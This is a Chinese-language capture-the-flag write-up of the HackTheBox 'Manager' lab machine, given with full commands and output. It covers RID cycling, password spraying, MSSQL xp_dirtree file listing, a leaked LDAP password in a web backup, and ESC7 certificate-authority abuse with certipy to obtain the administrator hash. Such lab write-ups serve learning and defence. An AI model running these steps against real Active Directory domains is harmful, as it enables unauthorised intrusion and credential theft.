HackTheBox Manager [RID cycling + MSSQL xp_dirtree + ESC7 exploitation]

简述

本文是Medium难度的HTB Manager机器的域渗透部分,其中RID cycling, MSSQL xp_dirtree, ESC7 exploitation等域渗透提权细节是此box的特色,主要参考0xdf’s blog manager walkthroughHTB的manager官方writeup paper记录这篇博客加深记忆和理解,及供后续做深入研究查阅,备忘。

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
{} manager nmap -p- --min-rate 10000 10.10.11.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT
Nmap scan report for manager.htb (10.10.11.236)
Host is up (0.27s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49727/tcp open unknown
51977/tcp open unknown
52689/tcp open unknown

root@kali ~/hackthebox/machine/manager
☺ nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -sCV 10.10.11.236 system: ruby 3.1.2p20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT
Nmap scan report for manager.htb (10.10.11.236)
Host is up (0.30s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Manager
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-17 13:07:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-17T13:08:39+00:00; +33s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.236:1433:
| Target_Name: MANAGER
| NetBIOS_Domain_Name: MANAGER
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: manager.htb
| DNS_Computer_Name: dc01.manager.htb
| DNS_Tree_Name: manager.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-17T11:45:12
|_Not valid after: 2054-03-17T11:45:12
| ms-sql-info:
| 10.10.11.236:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 32s, deviation: 1s, median: 33s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-03-17T13:07:57
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.17 seconds

了解到该box是一台域控,且开放了1433 mssql数据库

现在继续枚举SMB服务。利用smbclient工具通过使用空会话列出所有共享,因为刚开始没有任何密码。

1
2
3
4
5
6
7
8
9
10
{} manager smbclient -L \\\\10.10.11.236\\ -N

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.

通常,当允许列出具有空会话的共享时,还可以利用它来执行RID循环并枚举机器上的用户。

RID循环是一种方法,当允许列出具有空会话的共享时,用于枚举Windows系统上的用户。它涉及到通过增加相对标识符(RID)部分来顺序查询安全标识符(sid)。由于rid是按顺序分配给Windows中的用户和组的,因此该技术可以显示有效的用户帐户。
通过将RID循环与共享列表的空会话访问相结合,攻击者可以收集有关系统上现有用户的信息,从而帮助进一步的利用工作。

可以使用Impacket库的lookupsid模块来执行RID循环以枚举盒子上的用户。

1
2
3
4
5
6
7
8
9
10
11
12
{} manager impacket-lookupsid anonymous@manager.htb -no-pass | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 | tr '[:upper:]' '[:lower:]' | tee users
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
  • 使用ldapsearch来确认基本域名:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{} manager ldapsearch -H ldap://dc01.manager.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
  • Kerberos - TCP 88
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{} manager /root/kerbrute userenum /usr/share/seclists/Usernames/cirt-default-usernames.txt --dc dc01.manager.htb -d manager.htb

__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 03/17/24 - Ronnie Flathers @ropnop

2024/03/17 09:14:58 > Using KDC(s):
2024/03/17 09:14:58 > dc01.manager.htb:88

2024/03/17 09:14:59 > [+] VALID USERNAME: ADMINISTRATOR@manager.htb
2024/03/17 09:15:00 > [+] VALID USERNAME: Administrator@manager.htb
2024/03/17 09:15:08 > [+] VALID USERNAME: GUEST@manager.htb
2024/03/17 09:15:08 > [+] VALID USERNAME: Guest@manager.htb
2024/03/17 09:15:22 > [+] VALID USERNAME: OPERATOR@manager.htb
2024/03/17 09:15:22 > [+] VALID USERNAME: Operator@manager.htb
2024/03/17 09:15:29 > [+] VALID USERNAME: administrator@manager.htb
2024/03/17 09:15:36 > [+] VALID USERNAME: guest@manager.htb
2024/03/17 09:15:44 > [+] VALID USERNAME: operator@manager.htb
2024/03/17 09:15:54 > Done! Tested 828 usernames (9 valid) in 56.185 seconds

用户设置与其用户名相同的密码是一种常见的做法。因此,尝试使用传统的(用户名=密码)组合进行密码喷洒攻击。可以使用netexec(以前称为crackmapexec,现已停止维护)程序尝试对目标进行SMB身份验证,将用户名和密码设为相同文件users。

  • NetExec是非长期维护的CrackMapExec项目的继承者。可以安装在Linux上,如下:
1
2
3
4
5
6
7
8
9
10
11
12
# With pipx - recommended
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

# OR with pip:
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
python3 -m venv .
source bin/activate
pip install .
NetExec
1
2
3
4
5
6
7
8
9
10
11
12
13
{} manager netexec smb 10.10.11.236 -u users -p users --no-bruteforce
SMB 10.10.11.236 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\guest:guest STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator

getshell

LDAP

1
2
3
4
5
6
7
8
9
10
11
12
13
{} manager netexec ldap manager.htb -u operator -p operator
SMB 10.10.11.236 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.236 389 DC01 [+] manager.htb\operator:operator
{} manager ldapdomaindump -u management.htb\\operator -p 'operator' 10.10.11.236 -o ldap/
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
{} manager ls ldap
domain_computers_by_os.html domain_computers.json domain_groups.json domain_policy.json domain_trusts.json domain_users.html
domain_computers.grep domain_groups.grep domain_policy.grep domain_trusts.grep domain_users_by_group.html domain_users.json
domain_computers.html domain_groups.html domain_policy.html domain_trusts.html domain_users.grep

Raven账户可以通过WinRM来远程连接。

MSSQL

1
2
3
{} manager netexec mssql manager.htb -u operator -p operator
MSSQL 10.10.11.236 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
MSSQL 10.10.11.236 1433 DC01 [+] manager.htb\operator:operator

使用Impacket-mssqlclient连接,使用-windows-auth表示它正在使用操作系统身份验证,而不是DB内:
可以使用xp_dirtree遍历文件系统并列出文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
{} manager impacket-mssqlclient manager/operator:operator@manager.htb -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)> xp_dirtree \
subdirectory depth file
------------------------- ----- ----
$Recycle.Bin 1 0

Documents and Settings 1 0

inetpub 1 0

PerfLogs 1 0

Program Files 1 0

Program Files (x86) 1 0

ProgramData 1 0

Recovery 1 0

SQL2019 1 0

System Volume Information 1 0

Users 1 0

Windows 1 0

SQL (MANAGER\Operator guest@master)> xp_dirtree \inetpub\wwwroot
subdirectory depth file
------------------------------- ----- ----
about.html 1 1

contact.html 1 1

css 1 0

images 1 0

index.html 1 1

js 1 0

service.html 1 1

web.config 1 1

website-backup-27-07-23-old.zip 1 1

在这里看到一个有趣的文件,website-backup-27-07-23-old.zip,它似乎是网站的备份文件。考虑到它在web文件夹中的位置,可以下载它。

1
wget http://10.10.11.236/website-backup-27-07-23-old.zip

解压后发现一个文件,.old-conf.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>

使用里面的账号密码远程连接WinRM服务

1
2
3
4
5
6
7
8
9
10
11
12
13
{} manager evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
*Evil-WinRM* PS C:\Users\Raven\Documents> cat c:\users\raven\desktop\user.txt
c13f7c3c5d1b9ce228ea434ac01a07b9

提权

尝试在证书颁发机构中识别潜在的错误配置。利用certipy来查找可能存在的任何漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
{} manager certipy-ad find -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB
Certificate Validity Start : 2023-07-27 10:21:05+00:00
Certificate Validity End : 2122-07-27 10:31:04+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator
MANAGER.HTB\Authenticated Users
MANAGER.HTB\Raven
ManageCa : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
[!] Vulnerabilities
ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates : [!] Could not find any certificate templates

该结果指出用户Raven拥有危险权限,特别是对证书颁发机构具有”ManageCA”权限。这意味着通过利用ESC7场景,可以在作为用户Raven操作时将权限提升到Domain Admin。关于ESC7场景的详细利用过程在Vulnerable Certificate Authority Access Control - ESC7

为了利用这一点,首先需要将Raven添加为”officer”,这样我们就可以手动管理证书并颁发证书。

1
2
3
4
5
6
7
8
9
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -add-officer raven -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.236:636 - ssl
[+] Default path: DC=manager,DC=htb
[+] Configuration path: CN=Configuration,DC=manager,DC=htb
[+] Trying to get DCOM connection for: 10.10.11.236
[*] Successfully added officer 'Raven' on 'manager-dc01-ca'

既然是officer,就可以签发和管理证书了。带-enable-template标志的CA可以启用SubCA模板。

1
2
3
4
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -enable-template subca
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-dc01-ca'

使用-list-templates标志可以列出已启用的证书模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -list-templates
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Enabled certificate templates on 'manager-dc01-ca':
SubCA
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
Administrator

进攻的先决条件现在已经满足了。拥有Manage Certificates权限(通过ManageCA授予),并确保启用了SubCA模板。

现在基于SubCA模板请求一个证书。此请求将被拒绝,但将获得请求ID和私钥,并将其保存到一个文件中。

1
2
3
4
5
6
7
8
9
{} manager certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -template SubCA -upn administrator@manager.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 15
Would you like to save the private key? (y/N) y
[*] Saved private key to 15.key
[-] Failed to request certificate

注意到证书请求ID是15。现在使用获得的权限使用ca命令和-issue-request 手动颁发失败的证书。

1
2
3
4
{} manager certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -issue-request 15
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

如果在这个阶段,您得到一个[-] Got access denied trying to issue certificate错误,重新运行添加Raven作为manager的命令。box的清理脚本可能已经恢复了初始权限。

最后,使用req命令和-retrieve请求 检索已颁发的证书.

1
2
3
4
5
6
7
8
9
{} manager certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-dc01-ca -retrieve 15
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 15
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '15.key'
[*] Saved certificate and private key to 'administrator.pfx'

有了管理员的PFX文件,现在可以利用它进行身份验证。在运行auth命令时,遇到错误”KRB_AP_ERR_SKEW (Clock skew too great)”。

1
2
3
4
5
6
certipy-ad auth -pfx administrator.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError:
KRB_AP_ERR_SKEW(Clock skew too great)

“KRB_AP_ERR_SKEW”错误发生在客户机和KDC服务器之间存在明显的时差时,影响Kerberos身份验证过程。解决这个问题需要将我们机器的时钟与服务器的时钟同步。

为此,需要禁用机器设置中的”Automatic Date & Time”设置,并运行以下命令来同步时钟:

1
ntpdate -s manager.htb

再次运行该命令将成功转储admin hash

1
2
3
4
5
6
7
8
9
{} manager certipy-ad auth -pfx administrator.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

利用管理员的hash来使用Evil-WinRM获得访问权限,并从系统中拿到root flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
{} manager evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat c:\users\administrator\desktop\root.txt
f2685a47e8792f1de95141fc718dcf51

Reference Sources

  • 0xdf’s blog Coder walkthrough
  • Impacket库的lookupsid模块
  • NetExec
  • certipy
  • Vulnerable Certificate Authority Access Control - ESC7